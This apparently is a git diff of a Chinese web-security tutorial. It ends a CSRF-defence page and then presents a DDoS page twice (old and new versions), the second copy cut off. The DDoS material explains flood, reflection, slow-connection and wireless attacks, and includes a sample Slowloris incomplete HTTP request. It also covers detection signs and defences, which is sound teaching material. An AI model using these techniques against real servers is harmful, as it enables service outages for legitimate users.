                            由于使用 Session 存储,读取和验证 CSRF Token 会引起比较大的复杂度和性能问题,目前很多网站采用 Encrypted Token Pattern 方式。这种方法的 Token 是一个计算出来的结果,而非随机生成的字符串。这样在校验时无需再去读取存储的 Token,只用再次计算一次即可。

                            这种 Token 的值通常是使用 UserID、时间戳和随机数,通过加密的方法生成。这样既可以保证分布式服务的 Token 一致,又能保证 Token 不容易被破解。

                            在 Token 解密成功之后,服务器可以访问解析值,Token 中包含的 UserID 和时间戳将会被拿来被验证有效性,将 UserID 与当前登录的 UserID 进行比较,并将时间戳与当前时间进行比较。

                            指在请求借口时,除了常规带上 Cookie 中的用户凭证信息,如 session_id 外,还把 Cookie 中的用户凭证信息读出来附在接口请求参数重;这种方案对比 CSRF Token 方案来说,好在不需要生成额外得 Token,也同样能够起到防御 CSRF 攻击的效果。

                            流程:

                            • 在用户访问网站页面时,向请求域名注入一个 Cookie,内容为随机字符串(例如 csrfcookie=v8g9e4ksfhw);
                            • 在前端向后端发起请求时,取出 Cookie,并添加到 URL 的参数中(接上例 POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw);
                            • 后端接口验证 Cookie 中的字段与 URL 参数中的字段是否一致,不一致则拒绝。

                            此方法相对于 CSRF Token 就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储 Token。

                            当然,此方法并没有大规模应用,其在大型网站上的安全性还是没有 CSRF Token 高,原因我们举例进行说明。

                            由于任何跨域都会导致前端无法获取 Cookie 中的字段(包括子域名之间),于是发生了如下情况:

                            • 如果用户访问的网站为 www.a.com,而后端的 API 域名为 api.a.com。那么在 www.a.com 下,前端拿不到 api.a.com 的 Cookie,也就无法完成双重 Cookie 认证。
                            • 于是这个认证 Cookie 必须被种在 a.com 下,这样每个子域都可以访问。
                            • 任何一个子域都可以修改 a.com 下的 Cookie。
                            • 某个子域名存在漏洞被 XSS 攻击(例如 upload.a.com)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了 a.com 下的 Cookie。
                            • 攻击者可以直接使用自己配置的 Cookie,对 XSS 中招的用户再向 www.a.com 下,发起 CSRF 攻击。

                            用户操作限制

                            CSRF 攻击过程中,用户是在不知情的情况下构造了网络请求,因此添加验证码能强制用户必须与应用进行交互,服务器通过验证码来识别是不是用户主动发送的请求,由于一定强度的验证码机器无法识别,因此危险网站不能伪造一个完整的请求。

                            • 优点:简洁有效,低成本
                            • 缺点:对用户不友好,无法给所有的操作都加上验证码

                            参考资料

                            - + diff --git a/computer-networks/web-security/ddos/index.html b/computer-networks/web-security/ddos/index.html index 87ebb393f..f02d11bc2 100644 --- a/computer-networks/web-security/ddos/index.html +++ b/computer-networks/web-security/ddos/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + DDoS 攻击 - JavaScript Guidebook -

                            DDoS 攻击

                            DDoS 是英文 Distributed Denial of Service 的缩写,中文译作分布式拒绝服务。

                            那什么又是拒绝服务(Denial of Service)呢?

                            凡是能导致合法用户不能够正常访问网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。

                            分布式拒绝服务攻击一旦被实施,攻击网络包就会从很多 DoS 攻击源犹如洪水般涌向受害主机。从而把合法用户的网络请求淹没,导致合法用户无法正常访问服务器的网络资源。

                            攻击分类

                            反射型

                            一般而言,我们会根据针对的协议类型和攻击方式的不同,把 DDoS 分成:

                            • SYN Flood
                            • ACK Flood
                            • Connection Flood
                            • UDP Flood
                            • NTP Flood
                            • SSDP Flood
                            • DNS Flood
                            • HTTP Flood
                            • ICMP Flood
                            • CC

                            每一种攻击类型都有其特点,而反射型的 DDoS 攻击是一种新的变种。攻击者并不直接攻击目标服务的 IP,而是利用互联网的某些特殊服务开放的服务器,通过伪造被攻击者的 IP 地址向有开放服务的服务器发送构造的请求报文,该服务器会将数倍于请求报文的回复数据发送到被攻击 IP,从而对后者间接形成 DDoS 攻击。

                            在反射型攻击中,攻击者利用了网络协议的缺陷或者漏洞进行 IP 欺骗,主要是因为很多协议(例如 ICMP、UDP 等)对源 IP 不进行认证。同时,要达到更好的攻击效果,黑客一般会选择具有放大效果的协议服务进行攻击。

                            总结一下就是利用 IP 欺骗进行反射和放大,从而达到四两拨千斤的效果。目前常见的反射攻击有:DNS 反射攻击、NTP 反射攻击、SSDP 反射攻击等。

                            注:将源地址设为假的无法回应,即为 SYN Flood 攻击。制造流量和攻击目标收到的流量为 1:1,回报率低。

                            流量放大型

                            通过递归等手法将攻击流量放大的攻击类型,比如:以反射型中常见的 SSDP 协议为例,攻击者将 Search type 设置为 ALL。搜索所有可用的设备和服务,这种递归效果产生的放大倍数是非常大的,攻击者只需要以较小的伪造源地址的查询流量就可以制造出几十甚至上百倍的应答流量发送至目标。

                            混合型

                            在实际情况中,攻击者只求达到打垮对方的目的。发展到现在,高级攻击者已经不倾向使用单一的攻击手段。而是根据目标系统的具体环境灵动组合,发动多种攻击手段。

                            比如:TCP 和 UDP、网络层和应用层攻击同时进行,这样的攻击既具备了海量的流量,又利用了协议、系统的缺陷,尽其所能地展开攻势。对于被攻击目标来说,需要面对不同协议、不同资源的分布式的攻击,分析、响应和处理的成本就会大大增加。

                            脉冲波型

                            这是一种新型的 DDoS 攻击方法,给某些 DDoS 攻击解决方案带来了问题,因为它允许攻击者攻击以前认为是安全的服务器。之所以将这种新技术命名为脉冲波,是由于其攻击流量展现出来的图形看起来很像不连贯的重复的脉冲状。这类攻击通常呈现一个有上有下的斜三角形的形状,这个过程体现了攻击者正在慢慢地组装机器人并将目标对准待攻击的目标。

                            一次新的脉冲波攻击从零开始,在很短的时间跨度内达到最大值,然后归零,再回到最大值,如此循环重复,中间的时间间隔很短。脉冲波型 DDoS 相对难以防御,因为其攻击方式避开了触发自动化的防御机制。

                            链路泛洪

                            随着 DDoS 攻击技术的发展,又出现了一种新型的攻击方式 Link Flooding Attack,这种方式不直接攻击目标而是以堵塞目标网络的上一级链路为目的。对于使用了 IP Anycast 的企业网络来说,常规的 DDoS 攻击流量会被分摊到不同地址的基础设施,这样能有效缓解大流量攻击。所以攻击者发明了一种新方法,攻击至目标网络 traceroute 的倒数第二跳,即上联路由,致使链路拥塞。

                            攻击方法

                            DDoS 攻击从层次上可分为网络层攻击应用层攻击,从攻击手法上可分为快型流量攻击慢型流量攻击,但其原理都是造成资源过载,导致服务不可用。

                            网络层 DDoS 攻击

                            网络层 DDoS 攻击常见手段有:SYN Flood、ACK Flood、Connection Flood、UDP Flood、ICMP Flood、TCP Flood、Proxy Flood 等。

                            SYN Flood 攻击

                            SYN Flood 攻击是一种利用 TCP 协议缺陷,发送大量伪造的 TCP 连接请求,从而使得被攻击方资源耗尽(CPU 满负载或内存不足)的攻击方式。建立 TCP 连接,需要三次握手(客户端发送 SYN 报文、服务端收到请求并返回报文表示接受、客户端也返回确认,完成连接)。

                            SYN Flood 就是用户向服务器发送报文后突然死机或掉线,那么服务器在发出应答报文后就无法收到客户端的确认报文(第三次握手无法完成),这时服务器端一般会重试并等待一段时间(至少 30s)后再丢弃这个未完成的连接。

                            一个用户出现异常导致服务器的一个线程等待一会儿并不是大问题,但恶意攻击者大量模拟(构造源 IP 去发送 SYN 包)这种情况,服务器端为了维护数以万计的半连接而消耗非常多的资源,结果往往是无暇理睬正常客户的请求,甚至崩溃。从正常客户的角度看来,网站失去了响应,无法访问。

                            ACK Flood

                            ACK Flood 攻击是在 TCP 连接建立之后进行的。所有数据传输的 TCP 报文都是带有 ACK 标志位的,主机在接收到一个带有 ACK 标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在。如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。如果在检查中发现该数据包不合法(例如:该数据包所指向的目的端口在本机并未开放),则主机操作系统协议栈会回应 RST 包告诉对方此端口不存在。

                            这里,服务器要做两个动作:查表、回应 ACK/RST。对比主机以及防火墙在接收到 ACK 报文和 SYN 报文时所做动作的复杂程度,显然 ACK 报文带来的负载要小得多。这种攻击方式显然没有 SYN Flood 给服务器带来的冲击大,因此攻击者一定要用大流量 ACK 小包冲击才会对服务器造成影响。所以在实际环境中,只有当攻击程序每秒钟发送 ACK 报文的速率达到一定的程度,才能使主机和防火墙的负载有大的变化。

                            当发包速率很大的时候,主机操作系统将耗费大量的精力接收报文、判断状态,同时要主动回应 RST 报文,正常的数据包就可能无法得到及时的处理。这时候客户端的表现就是访问页面反应很慢,丢包率较高。但是状态检测的防火墙通过判断 ACK 报文的状态是否合法,借助其强大的硬件能力可以较为有效的过滤攻击报文。当然如果攻击流量非常大,由于需要维护很大的连接状态表同时要检查数量巨大的 ACK 报文的状态,防火墙也会不堪重负导致网络瘫痪。

                            目前 ACK Flood 并没有成为攻击的主流,而通常是与其他攻击方式组合在一起使用。

                            Connection Flood

                            Connection Flood 是典型的并且非常有效的利用小流量冲击大带宽网络服务的攻击方式。这种攻击的原理是利用真实的 IP 地址向服务器发起大量的连接,并且建立连接之后很长时间不释放。长期占用服务器的资源,造成服务器上残余连接 (WAIT 状态) 过多,效率降低,甚至资源耗尽,无法响应其它客户所发起的连接。

                            其中一种攻击方法是每秒钟向服务器发起大量的连接请求,这类似于固定源 IP 的 SYN Flood 攻击,不同的是采用了真实的源 IP 地址。通常这可以在防火墙上限制每个源 IP 地址每秒钟的连接数来达到防护目的。

                            但现在已有工具采用慢速连接的方式,也即几秒钟才和服务器建立一个连接,连接建立成功之后并不释放并定时发送垃圾数据包给服务器使连接得以长时间保持。这样一个 IP 地址就可以和服务器建立成百上千的连接,而服务器可以承受的连接数是有限的,这就达到了拒绝服务的效果。

                            UDP Flood 攻击

                            由于 UDP 是一种无连接的协议,因此攻击者可以伪造大量的源 IP 地址去发送 UDP 包,此种攻击属于大流量攻击。正常应用情况下,UDP 包双向流量会基本相等,因此在消耗对方资源的时候也在消耗自己的资源。

                            ICMP Flood 攻击

                            此攻击属于大流量攻击,其原理就是不断发送不正常的 ICMP 包(所谓不正常就是 ICMP 包内容很大),导致目标带宽被占用。但其本身资源也会被消耗,并且目前很多服务器都是禁 ping 的(在防火墙里可以屏蔽 ICMP 包),因此这种方式已经落伍。

                            Smurf 攻击

                            这种攻击类似于 ICMP Flood 攻击,但它能巧妙地修改进程。Smurf 攻击通过使用将回复地址设置成受害网络的广播地址的 ICMP 应答请求数据包,来淹没受害主机。最终导致该网络的所有主机都对此 ICMP 应答请求做出答复,导致网络阻塞。更加复杂的 Smurf 将源地址改为第三方的受害者,最终导致第三方崩溃。

                            应用层 DDoS 攻击

                            应用层 DDoS 攻击不是发生在网络层,是发生在 TCP 建立握手成功之后,应用程序处理请求的时候。常见的有:CC 攻击、DNS Flood、慢速连接攻击等。

                            CC 攻击

                            CC 攻击(Challenge Collapsar)是 DDoS 攻击的一种,其前身名为 Fatboy 攻击,也是一种常见的网站攻击方法。CC 攻击还有一段比较有趣的历史,Collapsar 是绿盟科技的一款防御 DDoS 攻击的产品品牌,Collapasar 在对抗拒绝服务攻击的领域内具有比较高的影响力和口碑。然而黑客为了挑衅,研发了一款 Challenge Collapasar 工具简称 CC,表示要向 Collapasar 发起挑战。

                            CC 攻击的原理就是借助代理服务器针对目标系统的消耗资源比较大的页面不断发起正常的请求,造成对方服务器资源耗尽,一直到宕机崩溃。因此在发送 CC 攻击前,我们需要寻找加载比较慢,消耗资源比较多的网页。比如:需要查询数据库的页面、读写硬盘的文件等。相比其它的 DDoS 攻击 CC 更有技术含量一些,这种攻击你见不到真实源 IP。见不到特别大的异常流量,但造成服务器无法进行正常连接。

                            Slowloris 攻击

                            Slowloris 是一种慢速连接攻击,Slowloris 是利用 Web Server 的漏洞或设计缺陷,直接造成拒绝服务。其原理是:以极低的速度往服务器发送 HTTP 请求,Apache 等中间件默认会设置最大并发链接数,而这种攻击就是会持续保持连接,导致服务器链接饱和不可用。Slowloris 有点类似于 SYN Flood 攻击,只不过 Slowloris 是基于 HTTP 协议。

                            GET / HTTP/1.1\r\n
                            Host: Victim host\r\n
                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
                            Content-Length: 42\r\n

                            完整的 HTTP 请求头结尾应该是两次的 \r\n\r\n,这里少了一次,因此服务器将会一直等待。

                            Slow Attack

                            Slow Attack 也是一种慢速 DoS 攻击,它通过消耗服务器的系统资源和连接数,导致 Web 服务器无法正常工作。常见的攻击方式包括 Slow Header、Slow Body 和 Slow Read。

                            1. Slow Header:正常的 HTTP Header 以两个 CLRF 结尾,通过发送只包含一个 CLRF 的畸形 Header 请求来占用 Web 服务器连接,从而达到消耗掉服务器所有可用的连接数。最终造成 Web 服务器资源饱和并拒绝新的服务。
                            2. Slow Read:向服务器请求很大的文件,然后通过设置 TCP 滑动窗口较小值,导致服务器以极慢的速度传输文件。这样,就会占用服务器大量的内存,从而造成拒绝服务。
                            3. Slow Body:在向服务器发送 HTTP Post 包时,指定一个非常大的 Content-Length 值,然后以极低的速度发包并保持连接不断,最终导致服务器连接饱和不可用。

                            Kali Linux 提供的专用测试工具 SlowHTTPTest 能够实现以上三种 Slow Attack 方式。

                            JavaScript DDoS

                            基于 JavaScript 的 DDoS 攻击利用的工具是普通网民的上网终端,这也意味着只要装有浏览器的电脑,都能被用作为 DDoS 攻击者的工具。当被操纵的浏览器数量达到一定程度时,这种 DDoS 攻击方式将会带来巨大的破坏性。

                            攻击者会在海量访问的网页中嵌入指向攻击目标网站的恶意 JavaScript 代码,当互联网用户访问该网页时,则流量被指向攻击目标网站。比较典型攻击事件:GitHub DDoS 攻击。

                            ReDoS 攻击

                            ReDoS (Regular expression Denial of Service), 中文译作正则表达式拒绝服务攻击。开发人员使用了正则表达式来对用户输入的数据进行有效性校验,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,从而造成服务器的服务中断或停止。 更详细介绍可参考:「浅析 ReDoS 的原理与实践」一文。

                            DNS Query Flood

                            DNS 作为互联网的核心服务之一,自然也是 DDoS 攻击的一大主要目标。DNS Query Flood 采用的方法是操纵大量傀儡机器,向目标服务器发送大量的域名解析请求。服务器在接收到域名解析请求时,首先会在服务器上查找是否有对应的缓存,若查找不到且该域名无法直接解析时,便向其上层 DNS 服务器递归查询域名信息。

                            通常,攻击者请求解析的域名是随机生成或者是网络上根本不存在的域名。由于在本地域名服务器无法查到对应的结果,本地域名服务器必须使用递归查询向上层域名服务器提交解析请求,引起连锁反应。解析过程给本地域名服务器带来一定的负载,每秒钟域名解析请求超过一定的数量就会造成域名服务器解析域名超时。

                            根据微软的统计数据,一台 DNS 服务器所能承受的动态域名查询的上限是每秒钟 9000 个请求。而一台 P3 的 PC 机上可以轻易地构造出每秒钟几万个域名解析请求,足以使一台硬件配置极高的 DNS 服务器瘫痪,由此可见 DNS 服务器的脆弱性。

                            无线 DDoS 攻击

                            Auth Flood 攻击

                            Auth Flood 攻击,即身份验证洪水攻击。该攻击目标主要针对那些处于通过验证和 AP 建立关联的关联客户端,攻击者将向 AP 发送大量伪造的身份验证请求帧(伪造的身份验证服务和状态代码),当收到大量伪造的身份验证请求超过所能承受的能力时,AP 将断开其他无线服务连接。

                            Deauth Flood 攻击

                            Deauth Flood 攻击即为取消验证洪水攻击,它旨在通过欺骗从 AP 到客户端单播地址的取消身份验证帧来将客户端转为未关联 / 未认证的状态。对于目前的工具来说,这种形式的攻击在打断客户无线服务方面非常有效和快捷。一般来说,在攻击者发送另一个取消身份验证帧之前,客户端会重新关联和认证以再次获取服务。攻击者反复欺骗取消身份验证帧就能使所有客户端持续拒绝服务。

                            Association Flood 攻击

                            Association Flood 攻击即为关联洪水攻击。在无线路由器或者接入点内置一个列表即为连接状态表,里面可显示出所有与该 AP 建立连接的无线客户端状态。它试图通过利用大量模仿和伪造的无线客户端关联来填充 AP 的客户端关联表,从而达到淹没 AP 的目的。

                            由于开放身份验证(空身份验证)允许任何客户端通过身份验证后关联。利用这种漏洞的攻击者可以通过创建多个到达已连接或已关联的客户端来模仿很多客户端,从而淹没目标 AP 的客户端关联表。

                            Disassociation Flood 攻击

                            Disassociation Flood 攻击即为取消关联洪水攻击,和 Deauth Flood 攻击表现方式很相似。它通过欺骗从 AP 到客户端的取消关联帧来强制客户端成为未关联 / 未认证的状态。一般来说,在攻击者发送另一个取消关联帧之前,客户端会重新关联以再次获取服务。攻击者反复欺骗取消关联帧就能使客户端持续拒绝服务。

                            Disassociation Broadcast 攻击和 Disassociation Flood 攻击原理基本一致,只是在发送程度及使用工具上有所区别。前者很多时候用于配合进行无线中间人攻击,而后者常用于目标确定的点对点无线 DoS,比如:破坏或干扰指定机构或部门的无线接入点等。

                            RF Jamming 攻击

                            RF Jamming 攻击即为 RF 干扰攻击。该攻击是通过发出干扰射频达到破坏正常无线通信的目的。而前面几种攻击主要是基于无线通信过程及协议的。RF 为射频,主要包括无线信号发射机及收信机等。

                            判断方法

                            SYN 类

                            1. 服务器 CPU 占用率很高。
                            2. 出现大量的 SYN_RECEIVED 的网络连接状态。
                            3. 网络恢复后,服务器负载瞬时变高。网络断开后瞬时负载下将。

                            UDP 类

                            1. 服务器 CPU 占用率很高。
                            2. 网卡每秒接受大量的数据包。
                            3. 网络 TCP 状态信息正常。

                            CC 类

                            1. 服务器 CPU 占用率很高。
                            2. Web 服务器出现类似 Service Unavailable 提示。
                            3. 出现大量的 ESTABLISHED 的网络连接状态且单个 IP 高达几十个甚至上百个连接。
                            4. 用户无法正常访问网站页面或打开过程非常缓慢,软重启后短期内恢复正常,几分钟后又无法访问。

                            防御策略

                            网络层 DDoS 防御

                            1. 限制单 IP 请求频率。
                            2. 网络架构上做好优化,采用负载均衡分流。
                            3. 防火墙等安全设备上设置禁止 ICMP 包等。
                            4. 通过 DDoS 硬件防火墙的数据包规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等技术对异常流量进行清洗过滤。
                            5. 采用 ISP 近源清洗,使用电信运营商提供的近源清洗和流量压制,避免全站服务对所有用户彻底无法访问。这是对超过自身带宽储备和自身 DDoS 防御能力之外超大流量的补充性缓解措施。

                            应用层 DDoS 防御

                            1. 优化操作系统的 TCP / IP 栈。
                            2. 应用服务器严格限制单个 IP 允许的连接数和 CPU 使用时间。
                            3. 编写代码时,尽量实现优化并合理使用缓存技术。尽量让网站静态化,减少不必要的动态查询。网站静态化不仅能大大提高抗攻击能力,而且还给骇客入侵带来不少麻烦,至少到现在为止关于 HTML 的溢出还没出现。
                            4. 增加 WAF(Web Application Firewall)设备,WAF 的中文名称叫做 Web 应用防火墙。Web 应用防火墙是通过执行一系列针对 HTTP / HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。
                            5. 使用 CDN / 云清洗,在攻击发生时,进行云清洗。通常云清洗厂商策略有以下几步:预先设置好网站的 CNAME,将域名指向云清洗厂商的 DNS 服务器;在一般情况下,云清洗厂商的 DNS 仍将穿透 CDN 的回源的请求指向源站,在检测到攻击发生时,域名指向自己的清洗集群,然后再将清洗后的流量回源。
                            6. CDN 仅对 Web 类服务有效,针对游戏类 TCP 直连的服务无效。这时可以使用 DNS 引流 + ADS (Anti-DDoS System) 设备来清洗,还有在客户端和服务端通信协议做处理(如:封包加标签,依赖信息对称等)。

                            DDoS 攻击究其本质其实是无法彻底防御的,我们能做得就是不断优化自身的网络和服务架构,来提高对 DDoS 的防御能力。

                            参考资料

                            +

                            DDoS 攻击

                            DDoS 是英文 Distributed Denial of Service 的缩写,中文译作分布式拒绝服务。

                            那什么又是拒绝服务(Denial of Service)呢?

                            凡是能导致合法用户不能够正常访问网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。

                            分布式拒绝服务攻击一旦被实施,攻击网络包就会从很多 DoS 攻击源犹如洪水般涌向受害主机。从而把合法用户的网络请求淹没,导致合法用户无法正常访问服务器的网络资源。

                            攻击分类

                            反射型

                            一般而言,我们会根据针对的协议类型和攻击方式的不同,把 DDoS 分成:

                            • SYN Flood
                            • ACK Flood
                            • Connection Flood
                            • UDP Flood
                            • NTP Flood
                            • SSDP Flood
                            • DNS Flood
                            • HTTP Flood
                            • ICMP Flood
                            • CC

                            每一种攻击类型都有其特点,而反射型的 DDoS 攻击是一种新的变种。攻击者并不直接攻击目标服务的 IP,而是利用互联网的某些特殊服务开放的服务器,通过伪造被攻击者的 IP 地址向有开放服务的服务器发送构造的请求报文,该服务器会将数倍于请求报文的回复数据发送到被攻击 IP,从而对后者间接形成 DDoS 攻击。

                            在反射型攻击中,攻击者利用了网络协议的缺陷或者漏洞进行 IP 欺骗,主要是因为很多协议(例如 ICMP、UDP 等)对源 IP 不进行认证。同时,要达到更好的攻击效果,黑客一般会选择具有放大效果的协议服务进行攻击。

                            总结一下就是利用 IP 欺骗进行反射和放大,从而达到四两拨千斤的效果。目前常见的反射攻击有:DNS 反射攻击、NTP 反射攻击、SSDP 反射攻击等。

                            注:将源地址设为假的无法回应,即为 SYN Flood 攻击。制造流量和攻击目标收到的流量为 1:1,回报率低。

                            流量放大型

                            通过递归等手法将攻击流量放大的攻击类型,比如:以反射型中常见的 SSDP 协议为例,攻击者将 Search type 设置为 ALL。搜索所有可用的设备和服务,这种递归效果产生的放大倍数是非常大的,攻击者只需要以较小的伪造源地址的查询流量就可以制造出几十甚至上百倍的应答流量发送至目标。

                            混合型

                            在实际情况中,攻击者只求达到打垮对方的目的。发展到现在,高级攻击者已经不倾向使用单一的攻击手段。而是根据目标系统的具体环境灵动组合,发动多种攻击手段。

                            比如:TCP 和 UDP、网络层和应用层攻击同时进行,这样的攻击既具备了海量的流量,又利用了协议、系统的缺陷,尽其所能地展开攻势。对于被攻击目标来说,需要面对不同协议、不同资源的分布式的攻击,分析、响应和处理的成本就会大大增加。

                            脉冲波型

                            这是一种新型的 DDoS 攻击方法,给某些 DDoS 攻击解决方案带来了问题,因为它允许攻击者攻击以前认为是安全的服务器。之所以将这种新技术命名为脉冲波,是由于其攻击流量展现出来的图形看起来很像不连贯的重复的脉冲状。这类攻击通常呈现一个有上有下的斜三角形的形状,这个过程体现了攻击者正在慢慢地组装机器人并将目标对准待攻击的目标。

                            一次新的脉冲波攻击从零开始,在很短的时间跨度内达到最大值,然后归零,再回到最大值,如此循环重复,中间的时间间隔很短。脉冲波型 DDoS 相对难以防御,因为其攻击方式避开了触发自动化的防御机制。

                            链路泛洪

                            随着 DDoS 攻击技术的发展,又出现了一种新型的攻击方式 Link Flooding Attack,这种方式不直接攻击目标而是以堵塞目标网络的上一级链路为目的。对于使用了 IP Anycast 的企业网络来说,常规的 DDoS 攻击流量会被分摊到不同地址的基础设施,这样能有效缓解大流量攻击。所以攻击者发明了一种新方法,攻击至目标网络 traceroute 的倒数第二跳,即上联路由,致使链路拥塞。

                            攻击方法

                            DDoS 攻击从层次上可分为网络层攻击应用层攻击,从攻击手法上可分为快型流量攻击慢型流量攻击,但其原理都是造成资源过载,导致服务不可用。

                            网络层 DDoS 攻击

                            网络层 DDoS 攻击常见手段有:SYN Flood、ACK Flood、Connection Flood、UDP Flood、ICMP Flood、TCP Flood、Proxy Flood 等。

                            SYN Flood 攻击

                            SYN Flood 攻击是一种利用 TCP 协议缺陷,发送大量伪造的 TCP 连接请求,从而使得被攻击方资源耗尽(CPU 满负载或内存不足)的攻击方式。建立 TCP 连接,需要三次握手(客户端发送 SYN 报文、服务端收到请求并返回报文表示接受、客户端也返回确认,完成连接)。

                            SYN Flood 就是用户向服务器发送报文后突然死机或掉线,那么服务器在发出应答报文后就无法收到客户端的确认报文(第三次握手无法完成),这时服务器端一般会重试并等待一段时间(至少 30s)后再丢弃这个未完成的连接。

                            一个用户出现异常导致服务器的一个线程等待一会儿并不是大问题,但恶意攻击者大量模拟(构造源 IP 去发送 SYN 包)这种情况,服务器端为了维护数以万计的半连接而消耗非常多的资源,结果往往是无暇理睬正常客户的请求,甚至崩溃。从正常客户的角度看来,网站失去了响应,无法访问。

                            ACK Flood

                            ACK Flood 攻击是在 TCP 连接建立之后进行的。所有数据传输的 TCP 报文都是带有 ACK 标志位的,主机在接收到一个带有 ACK 标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在。如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。如果在检查中发现该数据包不合法(例如:该数据包所指向的目的端口在本机并未开放),则主机操作系统协议栈会回应 RST 包告诉对方此端口不存在。

                            这里,服务器要做两个动作:查表、回应 ACK/RST。对比主机以及防火墙在接收到 ACK 报文和 SYN 报文时所做动作的复杂程度,显然 ACK 报文带来的负载要小得多。这种攻击方式显然没有 SYN Flood 给服务器带来的冲击大,因此攻击者一定要用大流量 ACK 小包冲击才会对服务器造成影响。所以在实际环境中,只有当攻击程序每秒钟发送 ACK 报文的速率达到一定的程度,才能使主机和防火墙的负载有大的变化。

                            当发包速率很大的时候,主机操作系统将耗费大量的精力接收报文、判断状态,同时要主动回应 RST 报文,正常的数据包就可能无法得到及时的处理。这时候客户端的表现就是访问页面反应很慢,丢包率较高。但是状态检测的防火墙通过判断 ACK 报文的状态是否合法,借助其强大的硬件能力可以较为有效的过滤攻击报文。当然如果攻击流量非常大,由于需要维护很大的连接状态表同时要检查数量巨大的 ACK 报文的状态,防火墙也会不堪重负导致网络瘫痪。

                            目前 ACK Flood 并没有成为攻击的主流,而通常是与其他攻击方式组合在一起使用。

                            Connection Flood

                            Connection Flood 是典型的并且非常有效的利用小流量冲击大带宽网络服务的攻击方式。这种攻击的原理是利用真实的 IP 地址向服务器发起大量的连接,并且建立连接之后很长时间不释放。长期占用服务器的资源,造成服务器上残余连接 (WAIT 状态) 过多,效率降低,甚至资源耗尽,无法响应其它客户所发起的连接。

                            其中一种攻击方法是每秒钟向服务器发起大量的连接请求,这类似于固定源 IP 的 SYN Flood 攻击,不同的是采用了真实的源 IP 地址。通常这可以在防火墙上限制每个源 IP 地址每秒钟的连接数来达到防护目的。

                            但现在已有工具采用慢速连接的方式,也即几秒钟才和服务器建立一个连接,连接建立成功之后并不释放并定时发送垃圾数据包给服务器使连接得以长时间保持。这样一个 IP 地址就可以和服务器建立成百上千的连接,而服务器可以承受的连接数是有限的,这就达到了拒绝服务的效果。

                            UDP Flood 攻击

                            由于 UDP 是一种无连接的协议,因此攻击者可以伪造大量的源 IP 地址去发送 UDP 包,此种攻击属于大流量攻击。正常应用情况下,UDP 包双向流量会基本相等,因此在消耗对方资源的时候也在消耗自己的资源。

                            ICMP Flood 攻击

                            此攻击属于大流量攻击,其原理就是不断发送不正常的 ICMP 包(所谓不正常就是 ICMP 包内容很大),导致目标带宽被占用。但其本身资源也会被消耗,并且目前很多服务器都是禁 ping 的(在防火墙里可以屏蔽 ICMP 包),因此这种方式已经落伍。

                            Smurf 攻击

                            这种攻击类似于 ICMP Flood 攻击,但它能巧妙地修改进程。Smurf 攻击通过使用将回复地址设置成受害网络的广播地址的 ICMP 应答请求数据包,来淹没受害主机。最终导致该网络的所有主机都对此 ICMP 应答请求做出答复,导致网络阻塞。更加复杂的 Smurf 将源地址改为第三方的受害者,最终导致第三方崩溃。

                            应用层 DDoS 攻击

                            应用层 DDoS 攻击不是发生在网络层,是发生在 TCP 建立握手成功之后,应用程序处理请求的时候。常见的有:CC 攻击、DNS Flood、慢速连接攻击等。

                            CC 攻击

                            CC 攻击(Challenge Collapsar)是 DDoS 攻击的一种,其前身名为 Fatboy 攻击,也是一种常见的网站攻击方法。CC 攻击还有一段比较有趣的历史,Collapsar 是绿盟科技的一款防御 DDoS 攻击的产品品牌,Collapasar 在对抗拒绝服务攻击的领域内具有比较高的影响力和口碑。然而黑客为了挑衅,研发了一款 Challenge Collapasar 工具简称 CC,表示要向 Collapasar 发起挑战。

                            CC 攻击的原理就是借助代理服务器针对目标系统的消耗资源比较大的页面不断发起正常的请求,造成对方服务器资源耗尽,一直到宕机崩溃。因此在发送 CC 攻击前,我们需要寻找加载比较慢,消耗资源比较多的网页。比如:需要查询数据库的页面、读写硬盘的文件等。相比其它的 DDoS 攻击 CC 更有技术含量一些,这种攻击你见不到真实源 IP。见不到特别大的异常流量,但造成服务器无法进行正常连接。

                            Slowloris 攻击

                            Slowloris 是一种慢速连接攻击,Slowloris 是利用 Web Server 的漏洞或设计缺陷,直接造成拒绝服务。其原理是:以极低的速度往服务器发送 HTTP 请求,Apache 等中间件默认会设置最大并发链接数,而这种攻击就是会持续保持连接,导致服务器链接饱和不可用。Slowloris 有点类似于 SYN Flood 攻击,只不过 Slowloris 是基于 HTTP 协议。

                            GET / HTTP/1.1\r\n
                            Host: Victim host\r\n
                            User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
                            Content-Length: 42\r\n

                            完整的 HTTP 请求头结尾应该是两次的 \r\n\r\n,这里少了一次,因此服务器将会一直等待。

                            Slow Attack

                            Slow Attack 也是一种慢速 DoS 攻击,它通过消耗服务器的系统资源和连接数,导致 Web 服务器无法正常工作。常见的攻击方式包括 Slow Header、Slow Body 和 Slow Read。

                            1. Slow Header:正常的 HTTP Header 以两个 CLRF 结尾,通过发送只包含一个 CLRF 的畸形 Header 请求来占用 Web 服务器连接,从而达到消耗掉服务器所有可用的连接数。最终造成 Web 服务器资源饱和并拒绝新的服务。
